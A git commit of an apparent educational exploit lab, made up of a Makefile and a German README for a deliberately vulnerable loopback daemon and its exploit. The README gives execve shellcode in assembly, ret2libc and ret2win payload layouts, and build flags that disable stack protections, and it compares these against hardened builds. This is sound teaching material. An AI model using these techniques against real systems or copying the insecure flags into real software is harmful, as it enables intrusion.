Initial commit

This commit is contained in:
Johannes Findeisen 2026-09-29 09:39:24 +02:00
commit 394e3be54d
41 changed files with 16315 additions and 0 deletions

17
.gitignore vendored Normal file
View file

@ -0,0 +1,17 @@
# Build products
food
fooc
food_hardened
shellcode.bin
.sc_c_raw.txt
.sc_c.txt
.sc_asm.txt
# Test harness binaries
tests/pty_test
tests/sock_test
# Runtime evidence -- your own logs, yours to keep or delete
food.log
food_hardened.log
*.log

305
Makefile Normal file
View file

@ -0,0 +1,305 @@
# ============================================================================
# Makefile -- builds the lab: the vulnerable daemon and its exploit
# ============================================================================
#
# make build food, fooc and the test harnesses
# make run start food in the background, on loopback
# make test run the full technique matrix (needs `make run` first)
# make verify prove the shellcode in fooc.c matches shellcode.S
# make hardened rebuild food with every mitigation ENABLED
# make test-hardened run the matrix against the hardened build
# make stop stop the daemon
# make clean remove build products
#
# ---------------------------------------------------------------------------
# WHY THESE FLAGS -- the single most important thing in this file
# ---------------------------------------------------------------------------
#
# `food` is built with three protections switched OFF, deliberately:
#
# -fno-stack-protector no stack canary
# -no-pie fixed load address, so win() is a constant
# -z execstack executable stack, so shellcode can run
#
# Each one corresponds to a real defence that a real program gets for free, and
# `make test-hardened` turns them all back on so you can watch the techniques
# fail. That contrast is the entire lesson. Do not copy these flags into
# anything you actually ship.
#
# The exploit (`fooc`) is built with the protections ON. There is no reason for
# an attacker to disable them, and leaving them on is a useful reminder that
# the tool works fine in a hardened process.
#
# ---------------------------------------------------------------------------
# WHY -O0 -g
# ---------------------------------------------------------------------------
#
# -O0 the compiler does not reorder, inline, or elide the code. At -O2 the
# stack layout the exploit reasons about can change between builds, and
# variables you were told exist may be gone. For a lab you have to be
# able to read the disassembly and find the thing the comment promised.
# -g symbols and line numbers, so gdb is actually usable. `make debug`
# goes further and stops at the vulnerable read().
# ============================================================================
CC ?= gcc
CSTD := -std=c99
# Warnings we always want, even on the vulnerable build. Note that we do NOT
# use -Werror: food.c's deliberate overflow triggers -Wstringop-overflow, and
# that warning is *supposed* to fire (see the comment at the read() call).
WARN := -Wall -Wextra
# Debug info and no optimisation: see above.
DBG := -O0 -g
# --- the vulnerable build -----------------------------------------------------
# These are the flags we are trying to defeat. See the header comment.
VULN := -fno-stack-protector -no-pie -z execstack
# --- the hardened build -------------------------------------------------------
# What a modern project actually does. Note that -fstack-protector-strong is
# gcc's DEFAULT on many distros, and -fPIE is too, so the hardened build is
# really just "stop overriding the defaults". `make test-hardened` shows the
# exploits failing, which is the point.
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
# Shellcode needs a terminal, and the test harness is the only thing that
# provides one. It is a normal POSIX program, not part of the exploit.
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
all: food fooc tests/pty_test tests/sock_test
# -----------------------------------------------------------------------------
# The vulnerable daemon.
# -----------------------------------------------------------------------------
food: food.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
# -----------------------------------------------------------------------------
# The exploit. -ldl is needed for dlsym(), which is how it locates libc's
# system() and "/bin/sh" at runtime instead of hardcoding offsets that would
# break the next time glibc is updated.
#
# It gets the mitigations ON, unlike the target.
# -----------------------------------------------------------------------------
fooc: fooc.c
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
# -----------------------------------------------------------------------------
# Test harnesses. These exist because the exploit's last act is to hand its
# process over to a shell; verifying that needs a real terminal, which a pipe
# or a here-doc is not.
# -----------------------------------------------------------------------------
tests/pty_test: tests/pty_test.c
$(CC) $(TESTCFLAGS) -o $@ $<
tests/sock_test: tests/sock_test.c
$(CC) $(TESTCFLAGS) -o $@ $<
# -----------------------------------------------------------------------------
# The hardened daemon: same source, protections on. Build it, then run
# `make test-hardened` to see which techniques it survives.
# -----------------------------------------------------------------------------
hardened: food.c
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o food_hardened $<
@echo
@echo "=== food_hardened built with the mitigations ON."
@echo "=== Stack segment permissions ('RWE' would mean executable; you"
@echo "=== want 'RW', i.e. no-execute):"
@readelf -W -l food_hardened | grep GNU_STACK
@echo "=== Now run: make test-hardened"
# -----------------------------------------------------------------------------
# verify-shellcode: prove the bytes in fooc.c are what nasm produces from
# shellcode.S. This is the check that keeps the inline byte array honest --
# a hand-maintained hex dump and a disassembler are both easy to get wrong, and
# a single wrong byte means a payload that crashes instead of running.
# -----------------------------------------------------------------------------
verify verify-shellcode: shellcode.S fooc.c
@command -v nasm >/dev/null 2>&1 || { \
echo "verify-shellcode: nasm is not installed; skipping."; \
echo " (Arch: pacman -S nasm)"; exit 0; }
@echo "=== Assembling shellcode.S ..."
@nasm -f bin -o shellcode.bin shellcode.S
@echo "=== nasm output:"
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//'
@echo
@# Pull the byte list out of the C array. `sed s,/*.**/,` first strips the
@# trailing /* ... */ annotations, so a hex constant mentioned inside a
@# comment (there is one: "push 0x3b (execve)") is not counted as data.
@# Stripping comments before grepping is the whole trick here.
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' fooc.c \
| sed -e 's,/\*.*\*,,' \
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
> .sc_c_raw.txt
@echo "=== bytes declared in fooc.c's SHELLCODE[] array:"
@cat .sc_c_raw.txt
@echo
@echo "=== comparing ..."
@# Both sides reduced to the same plain "31 f6 31 d2 ..." form, so the
@# comparison is on VALUES and not on how each tool happens to print them.
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//' > .sc_asm.txt
@if cmp -s .sc_c.txt .sc_asm.txt; then \
n=$$(wc -c < shellcode.bin); \
echo "MATCH: the $$n bytes in fooc.c are byte-for-byte what"; \
echo " shellcode.S assembles to."; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
else \
echo "MISMATCH -- the two differ:"; \
diff .sc_c.txt .sc_asm.txt || true; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
fi
# -----------------------------------------------------------------------------
# run: start the daemon in the background.
#
# setsid + nohup + </dev/null are all needed. Without setsid the daemon dies
# when the invoking shell exits; without </dev/null it inherits your terminal
# and competes with you for it; without nohup it gets SIGHUP.
#
# It listens on 127.0.0.1 only. Please keep it that way.
# -----------------------------------------------------------------------------
PORT ?= 2342
run: food
@echo "=== starting food on 127.0.0.1:$(PORT)"
@setsid nohup ./food -p $(PORT) > food.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x food >/dev/null; then \
echo "=== food is running (pid $$(pgrep -x food | head -1))"; \
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
grep '\[stack\]' /proc/$$(pgrep -x food | head -1)/maps; \
else \
echo "=== food failed to start; see food.log"; exit 1; \
fi
# -----------------------------------------------------------------------------
# test: the technique matrix. Every technique must print both SEEN.
#
# Note this runs against whatever ./food currently is. If you last ran
# `make hardened`, you are testing the hardened build -- which is what
# test-hardened is for.
# -----------------------------------------------------------------------------
#
# Note on the redirection below. The verdict is the "[pty_test] ..." line the
# harness prints to STDERR, and its EXIT STATUS, so stderr is sent to the
# terminal and the shell's chatter (stdout) is discarded. Piping the two
# together and tailing is what hid a real failure during development: the pty's
# echo of our own command line contains the marker string, so a loose grep on
# the transcript was always going to pass.
test: tests/pty_test
@fail=0; \
for t in ret2win ret2libc shellcode; do \
echo "=================== $$t"; \
if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \
:; \
else \
fail=1; \
fi; \
done; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== all three techniques gave a working shell"; \
else \
echo "=== at least one technique did NOT work."; \
echo "=== If food was built with `make hardened`, that is the"; \
echo "=== mitigations doing their job. See README.md."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# test-hardened: swap in the hardened daemon, prove the mitigations hold, then
# put the vulnerable one back. Leaves your tree exactly as it found it.
# -----------------------------------------------------------------------------
#
# Two things this target has to get right, both of which bit during development:
#
# * `pgrep -x` matches the process NAME, and the hardened binary is
# food_hardened, not food. Using the wrong name silently inspects nothing.
# * The verdict is pty_test's EXIT STATUS (0 = both markers seen), not the
# presence of its output line. Grepping for a line that is also printed on
# failure reports success for a run that crashed.
test-hardened: hardened tests/pty_test
@if ! pgrep -x food >/dev/null; then \
echo "=== start the daemon first: make run"; exit 1; \
fi
@echo "### stopping the vulnerable daemon"
@$(MAKE) --no-print-directory stop
@echo "### starting food_hardened instead"
@setsid nohup ./food_hardened -p $(PORT) > food_hardened.log 2>&1 \
</dev/null & disown 2>/dev/null || true
@sleep 1
@if ! pgrep -x food_hardened >/dev/null; then \
echo "!!! food_hardened did not start; see food_hardened.log"; \
$(MAKE) --no-print-directory stop; exit 1; \
fi
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
@grep '\[stack\]' /proc/$$(pgrep -x food_hardened | head -1)/maps || true
@echo
@for t in ret2win ret2libc shellcode; do \
echo "=================== $$t"; \
if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \
echo "!!! $$t STILL WORKED against the hardened build"; \
else \
echo "--- $$t was stopped by the mitigations (as expected)"; \
fi; \
done; \
echo
@$(MAKE) --no-print-directory stop
@echo "### restoring the vulnerable daemon"
@setsid nohup ./food -p $(PORT) > food.log 2>&1 </dev/null \
& disown 2>/dev/null || true
@sleep 1
@echo
@echo "=== mitigation comparison is above."
@echo "=== Read the table in README.md to see which flag stopped what,"
@echo "=== and note which mitigations are NOT enough on their own."
# -----------------------------------------------------------------------------
# debug: build food and run it under gdb, stopping at the vulnerable read() so
# you can watch the stack frame get overwritten.
# -----------------------------------------------------------------------------
debug: food.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o food $<
@echo "=== built ./food for gdb. Try:"
@echo " gdb -q ./food"
@echo " (gdb) break food.c:393 # the read() that overflows"
@echo " (gdb) run -p 2342"
@echo " (gdb) info registers rsp rbp"
@echo " (gdb) x/24gx \$rsp # watch the return address"
# -----------------------------------------------------------------------------
# stop: kill the daemon.
#
# `pkill -x food` matches the process NAME exactly. Do NOT use
# `pkill -f ./food` -- that pattern also matches the shell you typed it into,
# so it kills your own session. This is not a theoretical risk; it happened
# while building this lab.
# -----------------------------------------------------------------------------
stop:
@if pgrep -x food >/dev/null; then \
pkill -x food; sleep 0.5; \
echo "=== food stopped"; \
else \
echo "=== food was not running"; \
fi
@# The hardened binary has a different process name, so it needs its own
@# pkill. A leftover food_hardened keeps port 2342 bound and makes the
@# next `make run` fail with "Address already in use".
@if pgrep -x food_hardened >/dev/null; then \
pkill -x food_hardened; sleep 0.5; \
echo "=== food_hardened stopped"; \
fi
clean:
rm -f food fooc food.hardened shellcode.bin
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
rm -f tests/pty_test tests/sock_test
@echo "=== cleaned. (food.log is left alone; it is your evidence.)"
.PHONY: all run stop test test-hardened verify verify-shellcode hardened debug clean

436
README.DE.md Normal file
View file

@ -0,0 +1,436 @@
# food / fooc — ein Stack-Pufferüberlauf, von beiden Seiten
Ein C99-Sicherheitslabor in zwei Hälften:
- **`food.c`** — ein absichtlich angreifbarer TCP-Daemon. Er enthält einen
echten, lehrbuchreifen Stack-Pufferüberlauf (CWE-120) und nebenbei noch ein
paar weitere Bugs.
- **`fooc.c`** — ein Exploit dafür. Er berechnet das Overflow-Offset, indem er
das Zielprogramm zur Laufzeit disassembliert, liest Adress-Leaks vom Daemon
und erhält eine Shell auf dem „Opfer", indem er eine gespeicherte
Rücksprungadresse überschreibt.
Es geht nicht um die Shell. Es geht darum, dass man Ende-zu-Ende mitverfolgen
kann, wie aus einem Speichersicherheitsfehler eine beliebige Codeausführung
wird — und dann genau sieht, welche Gegenmaßnahmen welchen Schritt dieser
Kette stoppen. Jede Zeile beider Programme ist kommentiert, denn der Mechanismus
ist die Lektion.
```
dein Terminal
|
./fooc (Exploit)
|
TCP 127.0.0.1:2342
|
./food (angreifbarer Daemon)
|
fork() -> vulnerable_handler() -> Overflow -> ret -> dein Code
```
---
## ⚠️ Bitte zuerst lesen
**`food` ist ein absichtlich kaputter Netzwerkdienst. Er bindet ausschließlich
an `127.0.0.1`, und dieser Standard ist Absicht — bitte lass ihn so.**
- Führe ihn **nicht** auf einer Maschine aus, die dir wichtig ist, oder auf
irgendetwas mit Daten darauf.
- Binde ihn **nicht** an `0.0.0.0` oder eine echte Netzwerkschnittstelle. Er
ist bewusst remote ausnutzbar.
- Ein `fooc` gegen einen Host zu richten, der dir nicht gehört bzw. für den du
keine schriftliche Testgenehmigung hast, ist in den meisten Rechtsordnungen
ein Computersabotage-Straftatbestand — auch nach dem UK Computer Misuse Act
und dem US Computer Fraud and Abuse Act.
- Er bindet einen unprivilegierten Port (>1024), du brauchst also kein root.
„Verbessere" ihn nicht, indem du Capabilities hinzufügst oder ihn als
Systemdienst laufen lässt.
- Jede Verbindung wird in einem per `fork()` erzeugten Kindprozess behandelt,
und `food` reaped ihn, sodass sich keine Abstürze ansammeln. Falls du danach
dutzende streunende `sh`-Prozesse vorfindest, ist `pkill -x sh` die
Aufräumlösung.
Im Zweifel: Dieses Labor ist für eine virtuelle Maschine oder einen Container
gedacht, in einem Netzwerk, das du kontrollierst, auf einer Maschine, auf der
dir nichts fehlen würde.
---
## Schnellstart
```sh
make # baut food, fooc und die Test-Harnesses
make run # startet food auf 127.0.0.1:2342, abgelöst im Hintergrund
make test # führt alle drei Exploit-Techniken aus
make stop # stoppt den Daemon
```
Danach von Hand:
```sh
./fooc -t leak # sieh dir die Adress-Leaks an, die food ausgibt
./fooc -t demo -v # sende Datenmüll; beobachte, wie food mit SIGSEGV stirbt
./fooc -t ret2win -i # springe zu einer Funktion, die bereits existiert -> Shell
```
### Voraussetzungen
| Werkzeug | Wofür | Hinweise |
|---|---|---|
| `gcc` (oder clang) | Bauen | C99. Getestet mit gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` ruft es zur Laufzeit auf |
| `nasm` | `make verify` | nur zum Gegenprüfen des Shellcodes; wird übersprungen, wenn nicht vorhanden |
| `gdb` | `make debug` | optional |
| Linux, x86-64 | beides | Payload und Gadget-Suche sind architekturspezifisch |
`fooc` benötigt außerdem `-ldl` für `dlsym()`; das erledigt das Makefile.
---
## Der Bug
Eine Zeile in `food.c` ist die gesamte Angriffsfläche:
```c
char buf[FOOD_BUFSZ]; /* 64 Bytes */
n = read(fd, buf, FOOD_READMAX); /* bis zu 512 Bytes aus dem Netzwerk */
```
64 Bytes Ziel, 512 Bytes akzeptiert. Der Angreifer überschreibt 448 Bytes über
das Ende des Puffers hinaus, und weil der Stack nach unten wächst, bedeutet
„über das Ende hinaus" „in den darüberliegenden Frame hinein" — und genau dort
liegen der gespeicherte Frame-Pointer und die **gespeicherte
Rücksprungadresse**.
In einer kompilierten x86-64-Funktion bei `-O0`:
```
hohe Adressen
+------------------------+ rbp + 16 : Locals des Aufrufers
| ... |
+------------------------+ rbp + 8 : GESPEICHERTE RÜCKSPRUNGSADRESSE <-- wird zu RIP
| saved rbp (8 Bytes) |
+------------------------+ rbp : unser Frame-Pointer
| line[128] |
| buf[64] | <- rsp: das, was read() füllt
+------------------------+
niedrige Adressen
```
Wenn die Funktion zurückkehrt, poppt `leave; ret` diese 8 Bytes in `RIP`, und
die CPU springt dorthin, wo der Angreifer es bestimmt hat. Alles andere in
diesem Labor ist Arithmetik darüber, wohin gedeutet werden soll.
Für diesen Build sind die Zahlen: `buf` ist 64 Bytes, das gespeicherte `rbp`
ist 8, die Rücksprungadresse liegt also bei Offset **88** vom Anfang von `buf`.
`fooc` härtet das nicht ein — es disassembliert `food` und findet das
`lea -0x50(%rbp)` vor dem `call read@plt`, sodass es weiter funktioniert, wenn
du `FOOD_BUFSZ` änderst.
> gcc weist bereits darauf hin. Das Bauen von `food` druckt:
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. Unterdrücke diese Warnung in echtem Code
> nie. Sie ist geschenkte Sicherheit.
---
## Die drei Techniken
`fooc -t <technique>`. Sie stehen in der Reihenfolge, in der ein echter
Angreifer sie durcharbeiten würde, denn jede braucht, was die vorherige dich
gelehrt hat.
### 1. `ret2win` — den Befehlszeiger kontrollieren
```
[ 88 Bytes Müll ][ Adresse von food's win() ]
^ saved rbp
^ wird zu RIP
```
`win()` ist eine Funktion im Zielprogramm, die `/bin/sh` ausführt. Das
Überschreiben der Rücksprungadresse mit ihrer Adresse ist der gesamte Exploit.
**Was es lehrt:** Du hast beliebige Kontrolle über den Befehlszeiger. Es
braucht außerdem kein Leak, weil das Binärprogramm `-no-pie` gebaut ist, sodass
`win()` für immer an einer festen Adresse sitzt.
**Das reale Äquivalent** ist nicht „Angriffe sind einfach", sondern „verschiffe
keine undokumentierten Hintertüren in Netzwerk-Binärprogrammen". Wenn eine
Funktion wie `win()` in deinem Binärprogramm existiert, wird ein
Pufferüberlauf sie finden. Das ist wörtlich die Hintertür-Klasse von Juniper
ScreenOS (CVE).
**Verteidigung:** `-fPIE` (oder ASLR) randomisiert die Ladeadresse, sodass der
Angreifer die Adresse kennen muss — was meistens bedeutet, dass er zuerst ein
Leak braucht. Deshalb schlägt `ret2win` gegen `food_hardened` fehl.
### 2. `ret2libc` — Beliebiges aufrufen, beim Namen
```
[ Müll ][ pop rdi; ret ][ Adresse von "/bin/sh" ][ Adresse von system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
setzt rdi der zu übergebende String die aufzurufende Funktion
```
Zur Ausführungszeit: `ret` poppt `pop rdi; ret` in `RIP`; das poppt den
`"/bin/sh"`-Pointer in `RDI`; dessen `ret` poppt `system()` in `RIP`, wobei
`RDI` weiterhin den String hält. `system("/bin/sh")` läuft.
Die Gadgets (`pop rdi; ret`) stecken nicht in `food` — diese glibc hat kein
`__libc_csu_init` — daher findet sie `fooc`, indem es den Live-libc-Speicher
nach dem Bytepaar `5f c3` durchsucht. Es lokalisiert libc über
`/proc/self/maps`, findet die Offsets von `system` und `"/bin/sh"` mit
`dlsym()` und berechnet die Basis aus dem Leak, das `food` veröffentlicht.
Nichts ist fest verdrahtet, sodass der Exploit ein libc-Update überlebt.
**Was es lehrt:** Wenn du einmal `RIP` kontrollierst, kannst du *vorhandene*
Befehle aneinanderreihen. Das ist Return-Oriented Programming, und es ist, wie
fast alle echten Exploits aussehen, weil es keinen vom Angreifer gelieferten
ausführbaren Speicher braucht.
**Verteidigung:** Keine der Compiler-Flags stoppt das allein. Es funktioniert
gegen ein PIE-Binärprogramm, mit NX, mit Canary — solange der Angreifer ein
Leak hat. Die Verteidigungen sind „habe den Overflow nicht" und „leake keine
Adressen". Siehe Tabelle unten.
### 3. `shellcode` — eigenen Maschinencode ausführen
23 Bytes, platziert am Anfang des Puffers, mit `RIP`, das auf sie zeigt:
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 rohe Bytes
push rdi ; lege den String auf den Stack
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; wir sind jetzt eine Shell
```
Das ist die reinste Form des Bugs: Der Angreifer liefert die *Befehle*, nicht
nur die Adresse von Befehlen, die bereits existieren. Keine libc-Offsets nötig,
also funktioniert es im Prinzip gegen ein statisch gelinktes, vollständig
randomisiertes Ziel.
`make verify` assembliert `shellcode.S` und vergleicht es mit dem Byte-Array,
das in `fooc.c` eingebettet ist, sodass die beiden nicht auseinanderlaufen
können.
**Verteidigung:** **NX** (auch W^X, „no execute"). Wenn der Stack als
nicht-ausführbar markiert ist, weigert sich die Hardware, Befehle von ihm zu
holen, und das `ret` landet auf einer Seite, die nicht ausführbar ist. Deshalb
übergibt `make food` die Flag `-z execstack`: Ein Standard-Linux-Stack ist
`rw-p`, nicht `rwx`, und die Technik stirbt mit SIGSEGV bei `RIP = die Adresse
des Payloads`. Die mit Abstand wichtigste Lektion des Labors ist, dass jedes
dieser Bytes nur funktioniert, weil dem Compiler gesagt wurde, den Stack
ausführbar zu lassen. Diese Flag ist für niemandes Wohl eingeschaltet.
### Außerdem enthalten
| Modus | Was es tut |
|---|---|
| `-t leak` | verbindet, druckt die Leaks, sendet nichts |
| `-t demo` | sendet `rip_off + 8` Bytes `0x41`, sodass `RIP` zu `0x4141...` wird und der Daemon stirbt. Beweist den Bug ganz ohne Adresswissen |
| `-t sled` | ein Ret-Sled, bewusst als **fehlschlagendes** Beispiel behalten. Ohne ein Leak würdest du ASLR brute-forcen, indem du den Puffer mit der Adresse eines `ret` füllst. Hier kann es nicht funktionieren: `food` akzeptiert 512 Bytes, der Sled hat also ~53 Slots gegen ~28 Bit Entropie. Implementiert, damit du zusehen kannst, wie es scheitert, und bestätigst, dass der Mechanismus wirklich „die CPU folgt einer Kette von rets" ist |
---
## Die Tabelle der Gegenmaßnahmen
Das ist der Teil, den man sich merken sollte. Jede Zeile ist eine echte
Verteidigung, und die rechte Spalte zeigt, was sie tatsächlich mit der
Ereigniskette macht.
| Gegenmaßnahme | So aktivierst du sie | Was sie stoppt | Was sie *nicht* stoppt |
|---|---|---|---|
| **Read begrenzen** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** Der Bug existiert nicht, also ist nichts nachgelagert relevant | Nichts — das ist der einzige vollständige Fix |
| **Stack-Canary** | `-fstack-protector-strong` (gcc-Standard) | Das `ret`: Der Canary wird beim Funktionsende geprüft, der Einschlag wird also erkannt und der Prozess bricht ab, bevor `RIP` gepoppt wird | Ein Bug in einer Funktion *ohne* Array (nichts zu schützen); ein Overflow, der unter dem Canary bleibt; alles, was nicht normal zurückkehrt |
| **NX / W^X** | `-z noexecstack` (der Standard) | Shellcode. Die eigenen Befehle des Payloads können nicht geholt werden | ret2win und ret2libc vollständig. Sie sind der *Grund*, warum ROP existiert |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (beides Standard) | ret2wins fest verdrahtete Adressen. Alles bewegt sich bei jedem Lauf | Alles, wo der Angreifer ein Leak hat. ASLR erhöht die Kosten eines Exploits; es ist kein Fix. Beachte, dass Stack, Heap und mmap randomisiert sind, der *Inhalt* des Haupt-Binärprogramms jedoch nicht — das ist es, was ROP-Ketten verwenden |
| **Nicht leaken** | kein `printf("%p")` an Clients; vor dem Drucken initialisieren | Der Informations-Leak, der ASLR von „teuer" zu „gratis" macht | — |
| **Kein `printf(user_data)`** | `printf("%s", buf)` statt `printf(buf)` | Format-String-Bugs: `%x`-Stack-Reads, `%n`-beliebige Schreibzugriffe — ein *zweiter* Weg zu RCE | — |
| **Keine unvertrauenswürdigen Pfade** | validieren und `openat()` unter einem festen Verzeichnis | Pfad-Traversal (CWE-22) | — |
| **CET / Shadow Stack** | `-fcf-protection=full`, Kernel- und CPU-Unterstützung | Das `ret` selbst: Der Shadow Stack merkt sich die *echte* Rücksprungadresse und fault bei einem Mismatch. Fängt ROP-Ketten ab, die Hardware-`ret` verwenden | Angriffe, die nie `ret` ausführen (call-oriented, oder das Ziel eines Funktionspointers mit einer Gadget-Kette überschreiben, die keine Rückkehr braucht) |
| **Sichere Sprachen** | Rust, Go, C# für neuen Code | Die ganze Klasse. Bounds-Checks werden zur Laufzeit geprüft, nicht beim Review erhofft | — |
### Selbst ausprobieren
```sh
make run # angreifbarer Daemon
make test # alle drei Techniken funktionieren
make test-hardened # gleicher Quellcode, Gegenmaßnahmen an
```
`test-hardened` baut `food_hardened` mit `-fstack-protector-strong -fPIE -pie
-z noexecstack`, tauscht es ein, führt alle drei erneut aus und legt danach
das angreifbare wieder zurück. Du wirst sehen:
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
Und im Log des gehärteten Daemons das Auslösen des Canarys:
```
*** stack smashing detected ***: terminated
```
Lies das genau, denn es ist die wichtigste Zeile des ganzen Labors: **der
Canary hat ret2win erwischt, nicht PIE.** Alle drei Techniken sterben am
Canary, weil alle drei durch dasselbe `read()` gehen und denselben Frame
zerstören. NX stoppt nur zusätzlich den *Code* des Shellcodes; PIE bricht nur
zusätzlich die hart verdrahtete Adresse. Schalte sie einzeln an, und du wirst
feststellen, dass dich die meisten einzelnen Gegenmaßnahmen irgendetwas
ausgesetzt lassen.
---
## Dateien
| Datei | Zweck |
|---|---|
| `food.c` | der angreifbare Daemon. 6 nummerierte Bugs, jeder mit seinem Fix im Kommentar |
| `fooc.c` | der Exploit. objdump-basierte Offset-Erkennung, `/proc`-basierte libc-Erkennung, 4 Payload-Builder |
| `shellcode.S` | die 23 Shellcode-Bytes als Assembly, damit man sie lesen und verifizieren kann. `fooc` trägt sie inline und braucht das zur Laufzeit nicht |
| `Makefile` | baut, testet und liefert den gehärteten Vergleich |
| `tests/pty_test.c` | treibt `fooc` über ein Pseudo-Terminal und prüft auf echte Shell-Ausgabe |
| `tests/sock_test.c` | unabhängiger Verifizierer über einen rohen Socket, damit das Ergebnis nicht von `fooc` abhängt |
| `food.log` | das Log des Daemons. Dein Beweis, was passiert ist |
---
## Zwei Bugs in diesem Labor, die es wert sind, verstanden zu werden
Das sind nicht die Bugs des Zielprogramms. Es sind Bugs im Exploit und in
seiner Test-Harness, und beide haben überzeugende Lügen produziert. Sie sind im
Quellcode an ihrem Ort dokumentiert; hier stehen sie, weil die Ausfallmuster
lehrreich sind.
### Stack-Ausrichtung: der Absturz, der kein NULL-Deref ist
**Symptom.** Die Übernahme landet korrekt — `gdb` zeigt dich in `win()` — und
dann stirbt das allererste, was `win()` tut, ein `dprintf()`. Der
`SIGSEGV`-Handler meldet `RIP` tief im glibc-Formatter und eine Fehleradresse
von `(nil)`, was exakt wie ein korrupter Pointer aussieht.
**Ursache.** Die System-V-AMD64-ABI verlangt 16-Byte-Stack-Ausrichtung. Ein
normales `ret` stellt `%rsp` exakt auf das wieder her, was das zugehörige
`call` gespeichert hat, sodass die Invariante gratis erhalten bleibt. Unser
nacktes `ret` tut das nicht: Danach gilt `%rsp = buf + rip_off`. Hier ist `buf`
16-Byte-ausgerichtet und `rip_off` ist 88, der Callee bekommt also einen Stack,
der 8 mod 16 ist. glibc ist mit SSE2 kompiliert, und `movaps` **fault** bei
einem nicht ausgerichteten Operanden. Auf x86 löst das `#GP` aus, nicht `#PF`,
der Kernel hat also keine Fehleradresse und meldet `si_addr = 0`. Dieses NULL
ist der Hinweis: ein Ausrichtungsfehler, verkleidet als NULL-Deref.
**Fix.** Ein `ret`-Gadget *bei Offset `rip_off`*, das das echte Ziel um 8 Bytes
nach oben verschiebt, denn jedes `ret` addiert exakt 8 auf `%rsp`. Die
Reihenfolge ist entscheidend: Eine frühere Version hängte das `ret` *hinter*
das Ziel an und erzeugte `[ padding | target | ret ]`, wo das abschließende
`ret` nie erreicht wird und der Fix still nichts tut. Ein versprengtes `ret`,
das wie ein Fehler aussieht, ist fast immer Absicht.
### Ein Socket, zwei Leser: das verschwundene Byte
**Symptom.** Shellcode wurde als funktionierend gemeldet. Dann wurde die
pty-Harness strenger gemacht (Abschalten von `ECHO`, sodass das Terminal seine
eigene Befehlszeile nicht mehr zurückspiegelte) und die Technik begann zu
scheitern. Im Kern ließ jede Technik exakt ein Byte vom Anfang jedes
Ausgabeblocks fallen: `uid=1000(hanez)` wurde zu `id=1000(hanez)` gedruckt,
`PWNED-OK` zu `WNED-OK`, `Linux 7.2.7` zu `inux 7.2.7`.
**Ursache.** `fooc` pflegte den Socket per `dup2()` auf sein eigenes
stdin/stdout zu legen und eine *lokale* `/bin/sh` per `execv()` zu starten,
während ein geforktes Relay-Kind denselben Socket ebenfalls las, um die Ausgabe
zum Terminal zu befördern. Dem Kernel ist egal, dass die beiden kooperieren. Ein
Stream-Socket hat **einen** Read-Cursor, und jeder Leser bewegt ihn, sodass
Bytes unvorhersehbar zwischen ihnen aufgeteilt werden. Die lokale Shell las als
interaktive Login-Shell exakt ein Byte und verwarf es — bei jedem einzelnen
Mal. `strace -f` zeigte es sofort:
```
read(0, "u", 1) <- die lokale Shell, frisst ein Byte
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- das Relay, 1 Byte zu wenig
```
**Fix.** Auf dieser Seite gibt es überhaupt keine Shell. Es gibt genau eine
Shell im gesamten Bild, und sie ist auf dem Opfer, im übernommenen Prozess, mit
der TCP-Verbindung als stdin/stdout. Diese Seite bewegt nur Bytes. Wenn du je
zwei Konsumenten eines Streams brauchst, braucht dieser Stream einen einzigen
Leser, der ihn bewusst demultiplexiert.
**Die Meta-Lektion.** Das erste „funktionierende" Ergebnis war ein
Fehlpositiv, das dadurch entstand, dass die pty die eigene Befehlszeile der
Harness zurückwarf, und der Fix für dieses Fehlpositiv ist es, der den echten
Bug bloßlegte. Tests, die nicht scheitern können, sind schlimmer als keine
Tests, weil sie „ich weiß es nicht" in „es funktioniert" verwandeln. Eine
Test-Harness verdient denselben Argwohn wie der Code, den sie testet.
---
## Daran herumexperimentieren
Dinge, die einen Versuch wert sind, ungefähr in der Reihenfolge, in der man
mehr lernt:
1. **Ändere `FOOD_BUFSZ` auf 128.** Führe `fooc` erneut aus. Es sollte ohne
jede Änderung weiter funktionieren, weil es das Offset aus der Disassembly
liest. Brich es dann von Hand — härt 88 ein — und sieh zu, wie es abstürzt.
